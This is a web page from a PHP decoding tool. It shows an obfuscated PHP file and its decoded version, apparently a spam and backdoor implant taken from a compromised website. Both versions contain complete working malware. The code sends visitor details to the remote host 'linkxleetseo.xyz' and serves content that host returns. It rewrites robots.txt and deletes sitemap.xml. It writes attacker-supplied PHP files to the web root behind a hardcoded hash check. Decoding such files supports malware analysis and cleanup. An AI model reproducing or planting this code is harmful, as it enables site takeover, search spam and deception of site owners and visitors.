Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto A5Yck; AxWZS: if (isset($_SERVER["\x48\124\x54\x50\137\122\x45\x46\105\122\10..
Decoded Output download
<?php
goto A5Yck; AxWZS: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto K7aqR; SmwGW: function pingmap($url) { $url_arr = explode("
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto YOyzZ; nOwZD: $lang = urlencode($lang); goto h72AV; GoI_a: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto rVpXx; Axgo3: $htmcontent = trim(dageget($web)); goto EBGgl; kh_1K: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto q9zaI; K7aqR: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto TbeTL; krgA9: if ($duri_tmp == '') { $duri_tmp = "/"; } goto POvtW; kfrgp: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto SGzo5; POvtW: $duri = urlencode($duri_tmp); goto kh_1K; h72AV: $urlshang = ''; goto AxWZS; ytqYt: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto Lt2J6; A5Yck: @set_time_limit(3600); goto LtHNs; flkbY: $xmlname = "rmop"; goto VR1pX; L8rcb: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto nOwZD; LtHNs: @ignore_user_abort(1); goto flkbY; VR1pX: $http_web = "http"; goto GoI_a; YOyzZ: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto ytqYt; rVpXx: $duri_tmp = st_uri(); goto krgA9; q9zaI: $goweb = $xmlname . ".linkxleetseo" . ".xyz"; goto kfrgp; SGzo5: $host = $_SERVER["HTTP_HOST"]; goto L8rcb; TbeTL: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto Axgo3; EBGgl: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto SmwGW; Lt2J6:
//uw024 ?>
Did this file decode correctly?
Original Code
<?php
goto A5Yck; AxWZS: if (isset($_SERVER["\x48\124\x54\x50\137\122\x45\x46\105\122\105\122"])) { $urlshang = $_SERVER["\110\x54\124\120\x5f\122\105\106\x45\122\105\122"]; $urlshang = urlencode($urlshang); } goto K7aqR; SmwGW: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\x74\x65\155\x61\160\x20\x4e\157\164\x69\146\151\143\x61\x74\151\157\156\x20\122\x65\143\x65\x69\166\x65\x64") !== false ? "\x70\x69\x6e\x67\x6f\153" : "\x65\x72\x72\x6f\162"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\x3c\x62\162\x3e"; } return $return_str; } goto YOyzZ; nOwZD: $lang = urlencode($lang); goto h72AV; GoI_a: if (is_htps()) { $http = "\150\164\164\160\x73"; } else { $http = "\x68\164\x74\x70"; } goto rVpXx; Axgo3: $htmcontent = trim(dageget($web)); goto EBGgl; kh_1K: function st_uri() { if (isset($_SERVER["\x52\105\x51\125\x45\123\124\137\x55\122\x49"])) { $duri = $_SERVER["\122\105\121\125\x45\x53\x54\x5f\125\x52\111"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\120\x48\x50\137\123\x45\114\106"] . "\x3f" . $_SERVER["\141\162\147\166"][0]; } else { $duri = $_SERVER["\120\x48\x50\137\x53\x45\x4c\106"] . "\77" . $_SERVER["\121\x55\x45\x52\x59\x5f\x53\x54\x52\111\116\107"]; } } return $duri; } goto q9zaI; K7aqR: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\x6d\x61\x70\x6e\141\155\145"]; $action = @$_GET["\141\143\x74\x69\x6f\156"]; if (isset($_SERVER["\104\117\x43\125\115\x45\x4e\x54\137\122\x4f\x4f\x54"])) { $path = $_SERVER["\104\x4f\x43\x55\x4d\105\116\124\x5f\122\117\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\160\x75\x74") { if (strstr($add_content, "\x2e\x78\x6d\154")) { $map_path = $path . "\x2f\163\x69\164\x65\x6d\141\x70\56\x78\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\x6f\x62\157\164\163\x2e\x74\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\x65\162\x2d\141\147\x65\x6e\164\x3a\x20\52\x41\x6c\x6c\x6f\x77\72\x20\x2f"; } $sitmap_url = $http . "\x3a\57\57" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\76\163\x69\x74\145\x6d\x61\160\x20\x61\x6c\162\x65\x61\x64\171\x20\141\x64\144\x65\144\41\x3c\142\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "\x53\x69\x74\x65\x6d\x61\x70\72\x20" . $sitmap_url)) { echo "\x3c\142\162\x3e\157\x6b\x3c\x62\x72\x3e"; } else { echo "\74\142\162\x3e\x66\151\154\x65\x20\167\x72\151\x74\145\x20\x66\141\154\x73\145\41\74\142\x72\x3e"; } } } else { echo "\74\x62\162\76\x73\x69\164\145\155\x61\x70\x20\156\x61\x6d\x65\40\x66\x61\154\163\145\x21\74\142\162\x3e"; } if (strstr($add_content, "\x2e\x70" . "\x68\x70")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\57\x2f" . $goweb . "\x2f\141\x2e\x70" . "\x68\160") || $b == "\70\x30\x38\x37\x33\65\142\61\x37\x63\70\71\64\63\x65\x33\x37\x31\65\63\70\70\71\x35\x38\144\143\x32\62\144\70\67\x39\141\x38\143\71\145\141\x61") { $dstr = @$_GET["\x64\x73\164\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\x6b"; } } } } die; } goto TbeTL; krgA9: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto POvtW; kfrgp: function is_htps() { if (isset($_SERVER["\110\124\124\120\x53"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\x6f\146\146") { return true; } elseif (isset($_SERVER["\x48\124\124\120\137\130\137\106\117\122\127\101\122\x44\x45\x44\137\120\x52\117\x54\117"]) && $_SERVER["\x48\x54\x54\x50\137\x58\x5f\x46\117\x52\x57\x41\x52\104\x45\x44\x5f\120\122\x4f\124\117"] === "\x68\164\164\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\106\122\x4f\x4e\124\137\x45\x4e\x44\x5f\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\x46\x52\117\x4e\x54\x5f\105\x4e\104\137\110\x54\x54\x50\123"]) !== "\157\146\146") { return true; } return false; } goto SGzo5; POvtW: $duri = urlencode($duri_tmp); goto kh_1K; h72AV: $urlshang = ''; goto AxWZS; ytqYt: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\x72\x6c\137\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto Lt2J6; A5Yck: @set_time_limit(3600); goto LtHNs; flkbY: $xmlname = "\162\155\157\160"; goto VR1pX; L8rcb: $lang = @$_SERVER["\110\x54\x54\x50\137\101\103\103\105\x50\x54\x5f\x4c\101\x4e\x47\125\x41\x47\x45"]; goto nOwZD; LtHNs: @ignore_user_abort(1); goto flkbY; VR1pX: $http_web = "\150\x74\x74\x70"; goto GoI_a; YOyzZ: function sbot() { $uAgent = strtolower($_SERVER["\x48\x54\124\x50\137\125\x53\x45\122\x5f\101\x47\105\x4e\124"]); if (stristr($uAgent, "\147\x6f\x6f\x67\x6c\145\x62\157\164") || stristr($uAgent, "\x62\151\x6e\x67") || stristr($uAgent, "\171\141\150\x6f\157") || stristr($uAgent, "\x67\157\157\x67\x6c\x65") || stristr($uAgent, "\x47\x6f\157\147\x6c\x65\x62\157\164") || stristr($uAgent, "\x67\x6f\x6f\x67\x6c\145\x62\157\164")) { return true; } else { return false; } } goto ytqYt; rVpXx: $duri_tmp = st_uri(); goto krgA9; q9zaI: $goweb = $xmlname . "\56\154\151\x6e\x6b\170\154\x65\145\x74\x73\x65\x6f" . "\56\x78\171\x7a"; goto kfrgp; SGzo5: $host = $_SERVER["\110\124\124\120\137\110\117\x53\x54"]; goto L8rcb; TbeTL: $web = $http_web . "\x3a\57\x2f" . $goweb . "\57\151\156\x64\145\x78\x6e\145\167\x2e\x70\150\x70\77\x77\x65\x62\x3d" . $host . "\x26\x7a\172\75" . sbot() . "\x26\165\162\x69\x3d" . $duri . "\x26\x75\162\154\x73\150\141\x6e\147\75" . $urlshang . "\46\x68\x74\x74\160\75" . $http . "\x26\x6c\141\156\147\75" . $lang; goto Axgo3; EBGgl: if (!strstr($htmcontent, "\156\x6f\142\157\164\165\163\145\x72\141\x67\x65\x6e\x74")) { if (strstr($htmcontent, "\x6f\x6b\150\164\x6d\x6c\147\145\164\x63\x6f\x6e\164\145\156\x74")) { @header("\x43\157\156\x74\x65\156\164\x2d\x74\171\160\x65\72\40\164\145\170\x74\x2f\x68\164\155\154\73\x20\143\x68\141\x72\163\x65\x74\75\165\164\x66\55\x38"); $htmcontent = str_replace("\157\x6b\150\164\x6d\154\x67\145\x74\143\157\x6e\164\145\156\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\153\170\155\x6c\147\145\x74\x63\157\156\x74\145\x6e\x74")) { $htmcontent = str_replace("\157\153\170\155\154\x67\x65\164\x63\157\x6e\x74\145\x6e\x74", '', $htmcontent); @header("\x43\x6f\x6e\164\x65\156\164\55\x74\171\160\145\x3a\40\164\x65\x78\x74\x2f\x78\x6d\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\156\x67\x78\155\154\147\145\164\x63\x6f\x6e\164\145\x6e\x74")) { $htmcontent = str_replace("\160\x69\156\147\x78\x6d\x6c\147\145\164\143\x6f\156\x74\x65\x6e\164", '', $htmcontent); @header("\103\x6f\x6e\164\145\x6e\164\x2d\164\171\x70\145\72\x20\x74\x65\170\x74\x2f\x68\164\x6d\x6c\73\40\143\x68\141\x72\163\x65\x74\75\165\x74\146\55\x38"); echo pingmap($htmcontent); die; } } } } goto SmwGW; Lt2J6:
//uw024 ?>
Function Calls
None |
Stats
MD5 | 1c551457ac373e5e5fc3fa3145902dcd |
Eval Count | 0 |
Decode Time | 43 ms |